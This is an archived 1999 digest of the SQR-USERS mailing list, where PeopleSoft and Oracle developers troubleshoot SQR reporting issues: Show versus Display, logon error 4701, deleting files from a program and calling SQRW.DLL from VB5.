$14.95 a month Unlimited Internet Access. Get your first month for $1.00. http://www.surfree.com/promo From owner-sqr-users@list.iex.net Mon Oct 4 11:15:46 1999 Date: Mon, 4 Oct 1999 11:09:11 -0500 From: "Ross, Steven" Subject: Re: Show vs. Display > On Mon, 04 October 1999, "Ross, Steven" wrote: > > > But as far as it not working goes, there isn't a Select statement involved: > > > > show 'Begin Job: ' $AsOfToday ' ' $AsOfNow > > display ' ' > > show $ReportTitle > > display ' ' > > > > This is in the Init-Report procedure, before any Selects > are done. Now, I > > Steven, > > Is there a > Move 'Whatever I'm Calling My Report' > to $ReportTitle > ? Aha! That's it! None of those variables have been initialized at that point! Thanks! Steven Ross Programmer/Analyst sross@kcm.org From owner-sqr-users@list.iex.net Mon Oct 4 11:20:21 1999 Date: Mon, 4 Oct 1999 11:13:23 -0500 From: Carlton Conley Subject: Re: Show vs. Display There are some fairly meaningless difference including making the screen beep but the main difference lies in the ability to display multiple fields with one command for example Show 'Returned Value 1 = ' &COLUMN1 ' Returned Value 2 = ' &COLUMN2 vs Display 'Returned Value 1 = ' noline Display &COLUMN1 noline Display 'Returned Value 2 = ' noline Display '&COLUMN2 As for not seeing anything with the display command I always make sure I have some test and some way to set off the data for Example using Display Display 'my value ' no line Display '*" noline Display $whatIwantToDisplay noline Display '*' that way if I get my value * * then I know there was not a value in what I was trying to display, so if you see nothing there may not be a problem with the Show or Display but your select. > -----Original Message----- > From: Discussion of SQR, SQRIBE Technologies's database reporting > language [mailto:SQR-USERS@list.iex.net]On Behalf Of Ross, Steven > Sent: Monday, October 04, 1999 10:31 AM > To: Multiple recipients of list SQR-USERS > Subject: Show vs. Display > > > Does anyone know the difference between the Show command and the Display > command? The SQR manual isn't too clear. > > I've got an SQR that uses both, and for some reason, the Show command > doesn't display anything. > > TIA, > Steven Ross > Programmer/Analyst > sross@kcm.org > From owner-sqr-users@list.iex.net Mon Oct 4 11:43:07 1999 Date: Mon, 4 Oct 1999 11:32:09 -0500 From: "Veso M. Lukovic" Subject: Re: SQR 4701 Error Hey all.. I am having a similar problem. My user is actually able to run process scheduler (on the client) and have the SQR run and print, but when running from the SQR icon, gets the following message: (SQR 5528) ORACLE ORLON error -3121 in cursor 0: Error while trying to retrieve text for error ORA-03121 (SQR 4701) Can't log on to the database The Oracle client tnsnames file and client softwar are correct (can use SQLPlus fine). I am mostly baffled as to why process scheduler worked, but not the SQR icon.. I tried cutting and pasting the parameters from the process scheduler job, but still have same error. I am running on Oracle 7.3.2.4, PeopleSoft HRMS 7.02. Novell client.. by the way, this error appeared after the workstation folks did a Y2K downgrade.. sorry, I mean upgrade :-) I am not sure exactly what they did, but I will try to find out, and add any other information to this mailing.. Thanks in advance for your help! I do really need it an appreciate all in this group! ============================= Veso Lukovic PeopleSoft Systems St. Vincent Hospital Indianapolis IN. vmlukovi@stvincent.org ============================= >>> "John A. Hayes" 09/29/99 03:43PM >>> Mark, Just an FYI: You can add a tns_admin key to the Oracle section of the registry to point to a central tnsnames.ora file. This way you get out of maintaining the tnsnames.ora on each workstation. ---------------------------------------------- Hayes Systems Solutions, Inc. Canoga Park, CA mailto:owner@hss-usa.com http://www.hss-usa.com ---------------------------------------------- At 02:52 PM 9/29/99 -0500, you wrote: >[Mark A. Clements] > >SQR's launched from process scheduler can run either on the server or the >client. The way we do things here, the user logs into a three tier >environment >to do all of their PeopleSoft processing, but when they launch an SQR, it >actually spins off a two-tier process on their workstation unless they specify >that the process run on the server. I have a hunch that is what is happening >to you. In that case, the sql*net connection and tns names must be maintained >on each workstation. > >Could that be the problem? > >-Mark > >They run it from within PeopleSoft, from the menu. I assume it is three >tier, the database resides in Ottawa, and we are 3500 miles west of there. >The error happens after the PeopleSoft login, the users are able to >edit/retrieve data within the form, it is running the 'canned' reports that >generates the error. > >Lorne Gottschewski >Programmer >WTIS >19 Wing. CFB Comox >----- Original Message ----- >From: Mark Clements >To: Multiple recipients of list SQR-USERS >Sent: Wednesday, September 29, 1999 11:53 AM >Subject: Re: SQR 4701 Error > > > > [Mark A. Clements] > > > > Are they running the report from a PeopleSoft panel or from workbench? It >also > > makes a difference if they are running in 2 or 3 tier modes. > > > > > > -Mark > > > > I have several work stations that use PeopleSoft (v7) and I have recently >added > > an Oracle 8.0.5 Application written with Oracle Developer 6 on those >machines. > > Ever scince, the user can loggon to peopleSoft, but is unable to run a >report > > without getting the following: > > SQRW V3.0.18.1.1 (SQR 4701) Can't logon to database. ---------------------------------------------- Hayes Systems Solutions, Inc. Canoga Park, CA mailto:owner@hss-usa.com http://www.hss-usa.com ---------------------------------------------- From owner-sqr-users@list.iex.net Mon Oct 4 12:30:45 1999 Date: Mon, 4 Oct 1999 12:16:39 -0500 From: Cory Condiff Subject: Re: SQR 4701 Error >(SQR 5528) ORACLE ORLON error -3121 in cursor 0: > Error while trying to retrieve text for error ORA-03121 Make sure you are pointing to your oracle directory, ie. check your process scheduler in Configuration Manager. If those are correct...check your drive mappings. -Cory From owner-sqr-users@list.iex.net Mon Oct 4 12:36:04 1999 Date: Mon, 4 Oct 1999 13:41:27 -0400 From: "Johnson, Dan" Subject: Re: Show vs. Display All of this display/show talk had me curious so I wrote this test program. begin-program move 'test one' to $test1 move 'test two' to $test2 show 'Begin test:'$test1''$test2 end-program and the output was Begin test: The values of $test1 and $test2 do not display. Should they? Is this a version thing? I am on version 3. -----Original Message----- From: Carlton Conley [SMTP:cconley@CDG-INC.COM] Sent: Monday, October 04, 1999 12:13 PM To: Multiple recipients of list SQR-USERS Subject: Re: Show vs. Display There are some fairly meaningless difference including making the screen beep but the main difference lies in the ability to display multiple fields with one command for example Show 'Returned Value 1 = ' &COLUMN1 ' Returned Value 2 = ' &COLUMN2 vs Display 'Returned Value 1 = ' noline Display &COLUMN1 noline Display 'Returned Value 2 = ' noline Display '&COLUMN2 As for not seeing anything with the display command I always make sure I have some test and some way to set off the data for Example using Display Display 'my value ' no line Display '*" noline Display $whatIwantToDisplay noline Display '*' that way if I get my value * * then I know there was not a value in what I was trying to display, so if you see nothing there may not be a problem with the Show or Display but your select. > -----Original Message----- > From: Discussion of SQR, SQRIBE Technologies's database reporting > language [mailto:SQR-USERS@list.iex.net]On Behalf Of Ross, Steven > Sent: Monday, October 04, 1999 10:31 AM > To: Multiple recipients of list SQR-USERS > Subject: Show vs. Display > > > Does anyone know the difference between the Show command and the Display > command? The SQR manual isn't too clear. > > I've got an SQR that uses both, and for some reason, the Show command > doesn't display anything. > > TIA, > Steven Ross > Programmer/Analyst > sross@kcm.org > From owner-sqr-users@list.iex.net Mon Oct 4 12:52:29 1999 Date: Mon, 4 Oct 1999 17:42:08 GMT From: eddy vasile Subject: Re: SQR 4701 Error The process scheduler has SYSADM rights. The client login "should have" limited rights. Any SQR that refrences USER_TABLES instead of ALL_TABLES will return null results when run from the SQR icon and valid results when run from the proc scheduler. There are other issues as well (e.g. the proc scheduler may define the -i switch differently, thus other SQCs are included which your -i path may be ignoring). >From: "Veso M. Lukovic" >Reply-To: SQR-USERS@list.iex.net >To: Multiple recipients of list SQR-USERS >Subject: Re: SQR 4701 Error >Date: Mon, 4 Oct 1999 11:32:09 -0500 > >Hey all.. I am having a similar problem. My user is actually able to run >process scheduler (on the client) and have the SQR run and print, but when >running from the SQR icon, gets the following message: > >(SQR 5528) ORACLE ORLON error -3121 in cursor 0: > Error while trying to retrieve text for error ORA-03121 >(SQR 4701) Can't log on to the database > >The Oracle client tnsnames file and client softwar are correct (can use >SQLPlus fine). > >I am mostly baffled as to why process scheduler worked, but not the SQR >icon.. I tried cutting and pasting the parameters from the process >scheduler job, but still have same error. > > >I am running on Oracle 7.3.2.4, PeopleSoft HRMS 7.02. Novell client.. by >the way, this error appeared after the workstation folks did a Y2K >downgrade.. sorry, I mean upgrade :-) > >I am not sure exactly what they did, but I will try to find out, and add >any other information to this mailing.. > >Thanks in advance for your help! I do really need it an appreciate all in >this group! > > > >============================= >Veso Lukovic >PeopleSoft Systems >St. Vincent Hospital >Indianapolis IN. >vmlukovi@stvincent.org >============================= > > > >>> "John A. Hayes" 09/29/99 03:43PM >>> >Mark, > >Just an FYI: You can add a tns_admin key to the Oracle section of the >registry to point to a central tnsnames.ora file. This way you get out of >maintaining the tnsnames.ora on each workstation. > >---------------------------------------------- >Hayes Systems Solutions, Inc. Canoga Park, CA >mailto:owner@hss-usa.com >http://www.hss-usa.com >---------------------------------------------- > >At 02:52 PM 9/29/99 -0500, you wrote: > >[Mark A. Clements] > > > >SQR's launched from process scheduler can run either on the server or the > >client. The way we do things here, the user logs into a three tier > >environment > >to do all of their PeopleSoft processing, but when they launch an SQR, it > >actually spins off a two-tier process on their workstation unless they >specify > >that the process run on the server. I have a hunch that is what is >happening > >to you. In that case, the sql*net connection and tns names must be >maintained > >on each workstation. > > > >Could that be the problem? > > > >-Mark > > > >They run it from within PeopleSoft, from the menu. I assume it is three > >tier, the database resides in Ottawa, and we are 3500 miles west of >there. > >The error happens after the PeopleSoft login, the users are able to > >edit/retrieve data within the form, it is running the 'canned' reports >that > >generates the error. > > > >Lorne Gottschewski > >Programmer > >WTIS > >19 Wing. CFB Comox > >----- Original Message ----- > >From: Mark Clements > >To: Multiple recipients of list SQR-USERS > >Sent: Wednesday, September 29, 1999 11:53 AM > >Subject: Re: SQR 4701 Error > > > > > > > [Mark A. Clements] > > > > > > Are they running the report from a PeopleSoft panel or from workbench? > It > >also > > > makes a difference if they are running in 2 or 3 tier modes. > > > > > > > > > -Mark > > > > > > I have several work stations that use PeopleSoft (v7) and I have >recently > >added > > > an Oracle 8.0.5 Application written with Oracle Developer 6 on those > >machines. > > > Ever scince, the user can loggon to peopleSoft, but is unable to run >a > >report > > > without getting the following: > > > SQRW V3.0.18.1.1 (SQR 4701) Can't logon to database. > >---------------------------------------------- >Hayes Systems Solutions, Inc. Canoga Park, CA >mailto:owner@hss-usa.com >http://www.hss-usa.com >---------------------------------------------- ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From owner-sqr-users@list.iex.net Mon Oct 4 13:07:05 1999 Date: Mon, 4 Oct 1999 13:49:15 -0400 From: Bob Buford-Abba Systems Subject: Re: Show vs. Display This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF0E90.CA03AD02 Content-Type: text/plain; charset="iso-8859-1" Dan, Try it again with spaces between the elements of the show, e.g. show 'Begin test:' $test1 '' $test2 For readability, a further improvement: show 'Begin test: ' $test1 ' ' $test2 Bob -----Original Message----- From: Johnson, Dan [mailto:Dan_Johnson@WRIGHTEXPRESS.COM] Sent: Monday, October 04, 1999 1:41 PM To: Multiple recipients of list SQR-USERS Subject: Re: Show vs. Display All of this display/show talk had me curious so I wrote this test program. begin-program move 'test one' to $test1 move 'test two' to $test2 show 'Begin test:'$test1''$test2 end-program and the output was Begin test: The values of $test1 and $test2 do not display. Should they? Is this a version thing? I am on version 3. -----Original Message----- From: Carlton Conley [SMTP:cconley@CDG-INC.COM] Sent: Monday, October 04, 1999 12:13 PM To: Multiple recipients of list SQR-USERS Subject: Re: Show vs. Display There are some fairly meaningless difference including making the screen beep but the main difference lies in the ability to display multiple fields with one command for example Show 'Returned Value 1 = ' &COLUMN1 ' Returned Value 2 = ' &COLUMN2 vs Display 'Returned Value 1 = ' noline Display &COLUMN1 noline Display 'Returned Value 2 = ' noline Display '&COLUMN2 As for not seeing anything with the display command I always make sure I have some test and some way to set off the data for Example using Display Display 'my value ' no line Display '*" noline Display $whatIwantToDisplay noline Display '*' that way if I get my value * * then I know there was not a value in what I was trying to display, so if you see nothing there may not be a problem with the Show or Display but your select. > -----Original Message----- > From: Discussion of SQR, SQRIBE Technologies's database reporting > language [mailto:SQR-USERS@list.iex.net]On Behalf Of Ross, Steven > Sent: Monday, October 04, 1999 10:31 AM > To: Multiple recipients of list SQR-USERS > Subject: Show vs. Display > > > Does anyone know the difference between the Show command and the Display > command? The SQR manual isn't too clear. > > I've got an SQR that uses both, and for some reason, the Show command > doesn't display anything. > > TIA, > Steven Ross > Programmer/Analyst > sross@kcm.org > ------_=_NextPart_001_01BF0E90.CA03AD02 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Show vs. Display

Dan,

Try it again with spaces between the elements of the = show, e.g.

show 'Begin test:' $test1 '' $test2

For readability, a further improvement:
show 'Begin test: ' $test1 ' ' $test2

Bob


-----Original Message-----
From: Johnson, Dan [mailto:Dan_Johnson@WRIGHTE= XPRESS.COM]
Sent: Monday, October 04, 1999 1:41 PM
To: Multiple recipients of list SQR-USERS
Subject: Re: Show vs. Display


All of this display/show talk had me curious so I = wrote this test program.

begin-program

move 'test one' to $test1
move 'test two' to $test2

show 'Begin test:'$test1''$test2
end-program

and the output was

Begin test:

The values of $test1 and $test2 do not display. = Should they? Is this a
version thing? I am on version 3.

        = -----Original Message-----
        = From:   Carlton Conley [SMTP:cconley@CDG-INC.COM]
        = Sent:   Monday, October 04, 1999 12:13 PM
        = To:     Multiple recipients of list = SQR-USERS
        = Subject:        Re: Show vs. = Display

        There are = some fairly meaningless difference including making the
screen
        beep but = the main difference lies in the ability to display multiple
fields
        with one = command

        for = example

        Show = 'Returned Value 1 =3D ' &COLUMN1 ' Returned Value 2 =3D ' = &COLUMN2

        vs

        Display = 'Returned Value 1 =3D ' noline
        Display = &COLUMN1 noline
        Display = 'Returned Value 2 =3D ' noline
        Display = '&COLUMN2

        As for not = seeing anything with the display command I always make
sure I
        have some = test and some way to set off the data for Example using
Display

        Display = 'my value ' no line
        Display = '*" noline
        Display = $whatIwantToDisplay noline
        Display = '*'

        that way = if I get my value * *

        then I = know there was not a value in what I was trying to display,
so if you
        see = nothing there may not be a problem with the Show or Display but
your
        = select.


        > = -----Original Message-----
        > = From: Discussion of SQR, SQRIBE Technologies's database = reporting
        > = language [mailto:SQR-USERS@list.iex.net= ]On Behalf Of Ross, Steven
        > = Sent: Monday, October 04, 1999 10:31 AM
        > To: = Multiple recipients of list SQR-USERS
        > = Subject: Show vs. Display
        = >
        = >
        > Does = anyone know the difference between the Show command and the
Display
        > = command?  The SQR manual isn't too clear.
        = >
        > I've = got an SQR that uses both, and for some reason, the Show
command
        > = doesn't display anything.
        = >
        > = TIA,
        > = Steven Ross
        > = Programmer/Analyst
        = >  <mailto:sross@kcm.org> = sross@kcm.org
        = >

------_=_NextPart_001_01BF0E90.CA03AD02-- From owner-sqr-users@list.iex.net Mon Oct 4 13:53:04 1999 Date: Mon, 4 Oct 1999 14:37:19 -0400 From: Vivek Pandian Subject: ziv flag Hi all, The solution i want is if the user runs the sqr in the client the program should use -ziv flag. If he is running the same program in the server, the process should not use the -ziv flag. I do not want two process definitions. Any input is greatly appreciated. Thanks From owner-sqr-users@list.iex.net Mon Oct 4 13:05:19 1999 Date: Mon, 4 Oct 1999 12:48:53 -0600 From: Sunil Kanderi Subject: Re[2]: SQR 4701 Error Veso, I think it has to do with the permissions and access priviliges of the log on you are using to run the SQR from SQR icon. It is correct that process scheduler has sysadm rights.... Try running the sqr from the sqr icon using a log on that has sysadm priviliges....... sunil. ______________________________ Reply Separator _________________________________ Subject: Re: SQR 4701 Error Author: at IPNET Date: 10/4/99 5:42 PM The process scheduler has SYSADM rights. The client login "should have" limited rights. Any SQR that refrences USER_TABLES instead of ALL_TABLES will return null results when run from the SQR icon and valid results when run from the proc scheduler. There are other issues as well (e.g. the proc scheduler may define the -i switch differently, thus other SQCs are included which your -i path may be ignoring). >From: "Veso M. Lukovic" >Reply-To: SQR-USERS@list.iex.net >To: Multiple recipients of list SQR-USERS >Subject: Re: SQR 4701 Error >Date: Mon, 4 Oct 1999 11:32:09 -0500 > >Hey all.. I am having a similar problem. My user is actually able to run >process scheduler (on the client) and have the SQR run and print, but when >running from the SQR icon, gets the following message: > >(SQR 5528) ORACLE ORLON error -3121 in cursor 0: > Error while trying to retrieve text for error ORA-03121 >(SQR 4701) Can't log on to the database > >The Oracle client tnsnames file and client softwar are correct (can use >SQLPlus fine). > >I am mostly baffled as to why process scheduler worked, but not the SQR >icon.. I tried cutting and pasting the parameters from the process >scheduler job, but still have same error. > > >I am running on Oracle 7.3.2.4, PeopleSoft HRMS 7.02. Novell client.. by >the way, this error appeared after the workstation folks did a Y2K >downgrade.. sorry, I mean upgrade :-) > >I am not sure exactly what they did, but I will try to find out, and add >any other information to this mailing.. > >Thanks in advance for your help! I do really need it an appreciate all in >this group! > > > >============================= >Veso Lukovic >PeopleSoft Systems >St. Vincent Hospital >Indianapolis IN. >vmlukovi@stvincent.org >============================= > > > >>> "John A. Hayes" 09/29/99 03:43PM >>> >Mark, > >Just an FYI: You can add a tns_admin key to the Oracle section of the >registry to point to a central tnsnames.ora file. This way you get out of >maintaining the tnsnames.ora on each workstation. > >---------------------------------------------- >Hayes Systems Solutions, Inc. Canoga Park, CA >mailto:owner@hss-usa.com >http://www.hss-usa.com >---------------------------------------------- > >At 02:52 PM 9/29/99 -0500, you wrote: > >[Mark A. Clements] > > > >SQR's launched from process scheduler can run either on the server or the > >client. The way we do things here, the user logs into a three tier > >environment > >to do all of their PeopleSoft processing, but when they launch an SQR, it > >actually spins off a two-tier process on their workstation unless they >specify > >that the process run on the server. I have a hunch that is what is >happening > >to you. In that case, the sql*net connection and tns names must be >maintained > >on each workstation. > > > >Could that be the problem? > > > >-Mark > > > >They run it from within PeopleSoft, from the menu. I assume it is three > >tier, the database resides in Ottawa, and we are 3500 miles west of >there. > >The error happens after the PeopleSoft login, the users are able to > >edit/retrieve data within the form, it is running the 'canned' reports >that > >generates the error. > > > >Lorne Gottschewski > >Programmer > >WTIS > >19 Wing. CFB Comox > >----- Original Message ----- > >From: Mark Clements > >To: Multiple recipients of list SQR-USERS > >Sent: Wednesday, September 29, 1999 11:53 AM > >Subject: Re: SQR 4701 Error > > > > > > > [Mark A. Clements] > > > > > > Are they running the report from a PeopleSoft panel or from workbench? > It > >also > > > makes a difference if they are running in 2 or 3 tier modes. > > > > > > > > > -Mark > > > > > > I have several work stations that use PeopleSoft (v7) and I have >recently > >added > > > an Oracle 8.0.5 Application written with Oracle Developer 6 on those > >machines. > > > Ever scince, the user can loggon to peopleSoft, but is unable to run >a > >report > > > without getting the following: > > > SQRW V3.0.18.1.1 (SQR 4701) Can't logon to database. > >---------------------------------------------- >Hayes Systems Solutions, Inc. Canoga Park, CA >mailto:owner@hss-usa.com >http://www.hss-usa.com >---------------------------------------------- ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From owner-sqr-users@list.iex.net Mon Oct 4 14:05:02 1999 Date: Mon, 4 Oct 1999 11:55:20 -0700 From: Robert Stojkovic Subject: Re: Show vs. Display Hi . Try this begin-program move 'test one' to $test1 move 'test two' to $test2 display 'Begin test:' $test1 ' ' $test2 end-program Robert > -----Original Message----- > From: Discussion of SQR, SQRIBE Technologies's database reporting > language [mailto:SQR-USERS@list.iex.net]On Behalf Of Johnson, Dan > Sent: Monday, October 04, 1999 10:41 AM > To: Multiple recipients of list SQR-USERS > Subject: Re: Show vs. Display > > > All of this display/show talk had me curious so I wrote this test program. > > begin-program > > move 'test one' to $test1 > move 'test two' to $test2 > > show 'Begin test:'$test1''$test2 > end-program > > and the output was > > Begin test: > > The values of $test1 and $test2 do not display. Should they? Is this a > version thing? I am on version 3. > > -----Original Message----- > From: Carlton Conley [SMTP:cconley@CDG-INC.COM] > Sent: Monday, October 04, 1999 12:13 PM > To: Multiple recipients of list SQR-USERS > Subject: Re: Show vs. Display > > There are some fairly meaningless difference including making the > screen > beep but the main difference lies in the ability to > display multiple > fields > with one command > > for example > > Show 'Returned Value 1 = ' &COLUMN1 ' Returned Value 2 = > ' &COLUMN2 > > vs > > Display 'Returned Value 1 = ' noline > Display &COLUMN1 noline > Display 'Returned Value 2 = ' noline > Display '&COLUMN2 > > As for not seeing anything with the display command I always make > sure I > have some test and some way to set off the data for Example using > Display > > Display 'my value ' no line > Display '*" noline > Display $whatIwantToDisplay noline > Display '*' > > that way if I get my value * * > > then I know there was not a value in what I was trying to display, > so if you > see nothing there may not be a problem with the Show or > Display but > your > select. > > > > -----Original Message----- > > From: Discussion of SQR, SQRIBE Technologies's database > reporting > > language [mailto:SQR-USERS@list.iex.net]On Behalf Of > Ross, Steven > > Sent: Monday, October 04, 1999 10:31 AM > > To: Multiple recipients of list SQR-USERS > > Subject: Show vs. Display > > > > > > Does anyone know the difference between the Show command and the > Display > > command? The SQR manual isn't too clear. > > > > I've got an SQR that uses both, and for some reason, the Show > command > > doesn't display anything. > > > > TIA, > > Steven Ross > > Programmer/Analyst > > sross@kcm.org > > > From owner-sqr-users@list.iex.net Mon Oct 4 14:06:46 1999 Date: Mon, 4 Oct 1999 13:58:48 -0500 From: "Veso M. Lukovic" Subject: Re: SQR 4701 Error Thanks for the responses :-) I noticed that the C:\orawin95\bin path statement was missing from the autoexec.bat file. This did the trick. Thanks again! >>> "Veso M. Lukovic" 10/04/99 11:32AM >>> Hey all.. I am having a similar problem. My user is actually able to run process scheduler (on the client) and have the SQR run and print, but when running from the SQR icon, gets the following message: (SQR 5528) ORACLE ORLON error -3121 in cursor 0: Error while trying to retrieve text for error ORA-03121 (SQR 4701) Can't log on to the database The Oracle client tnsnames file and client softwar are correct (can use SQLPlus fine). I am mostly baffled as to why process scheduler worked, but not the SQR icon.. I tried cutting and pasting the parameters from the process scheduler job, but still have same error. I am running on Oracle 7.3.2.4, PeopleSoft HRMS 7.02. Novell client.. by the way, this error appeared after the workstation folks did a Y2K downgrade.. sorry, I mean upgrade :-) I am not sure exactly what they did, but I will try to find out, and add any other information to this mailing.. Thanks in advance for your help! I do really need it an appreciate all in this group! ============================= Veso Lukovic PeopleSoft Systems St. Vincent Hospital Indianapolis IN. vmlukovi@stvincent.org ============================= >>> "John A. Hayes" 09/29/99 03:43PM >>> Mark, Just an FYI: You can add a tns_admin key to the Oracle section of the registry to point to a central tnsnames.ora file. This way you get out of maintaining the tnsnames.ora on each workstation. ---------------------------------------------- Hayes Systems Solutions, Inc. Canoga Park, CA mailto:owner@hss-usa.com http://www.hss-usa.com ---------------------------------------------- At 02:52 PM 9/29/99 -0500, you wrote: >[Mark A. Clements] > >SQR's launched from process scheduler can run either on the server or the >client. The way we do things here, the user logs into a three tier >environment >to do all of their PeopleSoft processing, but when they launch an SQR, it >actually spins off a two-tier process on their workstation unless they specify >that the process run on the server. I have a hunch that is what is happening >to you. In that case, the sql*net connection and tns names must be maintained >on each workstation. > >Could that be the problem? > >-Mark > >They run it from within PeopleSoft, from the menu. I assume it is three >tier, the database resides in Ottawa, and we are 3500 miles west of there. >The error happens after the PeopleSoft login, the users are able to >edit/retrieve data within the form, it is running the 'canned' reports that >generates the error. > >Lorne Gottschewski >Programmer >WTIS >19 Wing. CFB Comox >----- Original Message ----- >From: Mark Clements >To: Multiple recipients of list SQR-USERS >Sent: Wednesday, September 29, 1999 11:53 AM >Subject: Re: SQR 4701 Error > > > > [Mark A. Clements] > > > > Are they running the report from a PeopleSoft panel or from workbench? It >also > > makes a difference if they are running in 2 or 3 tier modes. > > > > > > -Mark > > > > I have several work stations that use PeopleSoft (v7) and I have recently >added > > an Oracle 8.0.5 Application written with Oracle Developer 6 on those >machines. > > Ever scince, the user can loggon to peopleSoft, but is unable to run a >report > > without getting the following: > > SQRW V3.0.18.1.1 (SQR 4701) Can't logon to database. ---------------------------------------------- Hayes Systems Solutions, Inc. Canoga Park, CA mailto:owner@hss-usa.com http://www.hss-usa.com ---------------------------------------------- From owner-sqr-users@list.iex.net Mon Oct 4 15:45:33 1999 Date: Mon, 4 Oct 1999 15:35:29 -0500 From: "Manning, Shinta" Subject: Re: Deleting a file created by an sqr. #status = delete($filename) > -----Original Message----- > From: Sunil Kanderi [SMTP:sunil_kanderi_at_doit-mail4@CCMAIL.ADP.WISC.EDU] > Sent: Monday, October 04, 1999 4:26 PM > To: Multiple recipients of list SQR-USERS > Subject: Deleting a file created by an sqr. > > Is there a way to delete a file that was created by the sqr from > within the sqr. If so please let me know the syntax. > > Thanks, > sunil. From owner-sqr-users@list.iex.net Mon Oct 4 15:49:20 1999 Date: Mon, 4 Oct 1999 16:36:38 -0400 From: Bob Buford-Abba Systems Subject: Re: Deleting a file created by an sqr. This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF0EA8.2877A50C Content-Type: text/plain; charset="iso-8859-1" Sunil, In addition to the suggestions by John and Manning, remember that if you created the file in current sqr (or sqc called in current instance of program), you need to close that file to do file operations (move, delete, rename, etc.). Bob -----Original Message----- From: Sunil Kanderi [mailto:sunil_kanderi_at_doit-mail4@CCMAIL.ADP.WISC.EDU] Sent: Monday, October 04, 1999 5:26 PM To: Multiple recipients of list SQR-USERS Subject: Deleting a file created by an sqr. Is there a way to delete a file that was created by the sqr from within the sqr. If so please let me know the syntax. Thanks, sunil. ------_=_NextPart_001_01BF0EA8.2877A50C Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Deleting a file created by an sqr.

Sunil,

In addition to the suggestions by John and Manning, = remember that if you created the file in current sqr (or sqc called in = current instance of program), you need to close that file to do file = operations (move, delete, rename, etc.).

Bob

-----Original Message-----
From: Sunil Kanderi
[mailto:s= unil_kanderi_at_doit-mail4@CCMAIL.ADP.WISC.EDU]
Sent: Monday, October 04, 1999 5:26 PM
To: Multiple recipients of list SQR-USERS
Subject: Deleting a file created by an sqr.


     Is there a way to delete a = file that was created by the sqr from
     within the sqr. If so = please let me know the syntax.

     Thanks,
     sunil.

------_=_NextPart_001_01BF0EA8.2877A50C-- From owner-sqr-users@list.iex.net Mon Oct 4 15:46:10 1999 Date: Mon, 4 Oct 1999 16:38:20 -0400 From: John Milardovic Subject: Re: Deleting a file created by an sqr. Hi Sunil. ----------------------------------- SQR help = "delete" Deletes the file filename. The function returns either a zero (0) to indicate success or the value returned from the operating system to indicate an error. Syntax: stat_var = delete(filename) filename = text literal, column, variable, or expression stat_var = decimal, float, or integer variable Example: let #fstatus = delete($filename) Function arguments are enclosed in parentheses and can be nested. Arguments referenced as x, y, and z indicate the first, second, and third argument to a function. Otherwise, functions take a single argument. Use parentheses to override the normal precedence rules. --------------------------------------------- Or else use call system/call system using. HTH John Milardovic > -----Original Message----- > From: Sunil Kanderi [SMTP:sunil_kanderi_at_doit-mail4@CCMAIL.ADP.WISC.EDU] > Sent: Monday, October 04, 1999 5:26 PM > To: Multiple recipients of list SQR-USERS > Subject: Deleting a file created by an sqr. > > Is there a way to delete a file that was created by the sqr from > within the sqr. If so please let me know the syntax. > > Thanks, > sunil. From owner-sqr-users@list.iex.net Mon Oct 4 15:58:05 1999 Date: Mon, 4 Oct 1999 16:49:38 -0400 From: Vivek Pandian Subject: Re: Deleting a file created by an sqr. delete filename At 05:26 PM 10/4/99 , you wrote: > Is there a way to delete a file that was created by the sqr from > within the sqr. If so please let me know the syntax. > > Thanks, > sunil. > From owner-sqr-users@list.iex.net Mon Oct 4 15:38:44 1999 Date: Mon, 4 Oct 1999 15:26:24 -0600 From: Sunil Kanderi Subject: Deleting a file created by an sqr. Is there a way to delete a file that was created by the sqr from within the sqr. If so please let me know the syntax. Thanks, sunil. From owner-sqr-users@list.iex.net Mon Oct 4 18:00:29 1999 Date: Mon, 4 Oct 1999 18:51:35 -0400 From: Peter Alan Burton Subject: Re: Deleting a file created by an sqr. Sunil, 2 == File does not exist 13 == Permission denied Peter Sunil Kanderi wrote: > Thanks for all the responses. I should have looked up my sqr language > reference before jumping on the user's list for a solution. > > When I try to delete the file created after closing it,I get a file > #status of either 2 or 13. I am running the sqr on the client and my > operating system is Win NT. > > Anybody knows what the #status of 2 or 13 mean?? > > Thanks again, > sunil. > > ______________________________ Reply Separator _________________________________ > Subject: Re: Deleting a file created by an sqr. > Author: at IPNET > Date: 10/4/99 4:36 PM > > Sunil, > > In addition to the suggestions by John and Manning, remember that if you > created the file in current sqr (or sqc called in current instance of > program), you need to close that file to do file operations (move, delete, > rename, etc.). > > Bob > > -----Original Message----- > From: Sunil Kanderi > [mailto:sunil_kanderi_at_doit-mail4@CCMAIL.ADP.WISC.EDU] > Sent: Monday, October 04, 1999 5:26 PM > To: Multiple recipients of list SQR-USERS > Subject: Deleting a file created by an sqr. > > Is there a way to delete a file that was created by the sqr from > within the sqr. If so please let me know the syntax. > > Thanks, > sunil. From owner-sqr-users@list.iex.net Mon Oct 4 17:44:09 1999 Date: Mon, 4 Oct 1999 17:33:30 -0600 From: Sunil Kanderi Subject: Re[2]: Deleting a file created by an sqr. Thanks for all the responses. I should have looked up my sqr language reference before jumping on the user's list for a solution. When I try to delete the file created after closing it,I get a file #status of either 2 or 13. I am running the sqr on the client and my operating system is Win NT. Anybody knows what the #status of 2 or 13 mean?? Thanks again, sunil. ______________________________ Reply Separator _________________________________ Subject: Re: Deleting a file created by an sqr. Author: at IPNET Date: 10/4/99 4:36 PM Sunil, In addition to the suggestions by John and Manning, remember that if you created the file in current sqr (or sqc called in current instance of program), you need to close that file to do file operations (move, delete, rename, etc.). Bob -----Original Message----- From: Sunil Kanderi [mailto:sunil_kanderi_at_doit-mail4@CCMAIL.ADP.WISC.EDU] Sent: Monday, October 04, 1999 5:26 PM To: Multiple recipients of list SQR-USERS Subject: Deleting a file created by an sqr. Is there a way to delete a file that was created by the sqr from within the sqr. If so please let me know the syntax. Thanks, sunil. From owner-sqr-users@list.iex.net Mon Oct 4 18:42:18 1999 Date: Mon, 4 Oct 1999 16:34:07 -0700 From: Jim Wyant Subject: Calling SQRW.DLL via Access or VB5 Group, There was some activity here which dealt with calling sqrw.dll via Access or VB5. Has anyone managed to successfully do it without getting an "illegal operation" in KRNL386? VB5 crashes repeatedly after running the test sqr. BTW, when run as a shell process I have no problems. Thanks 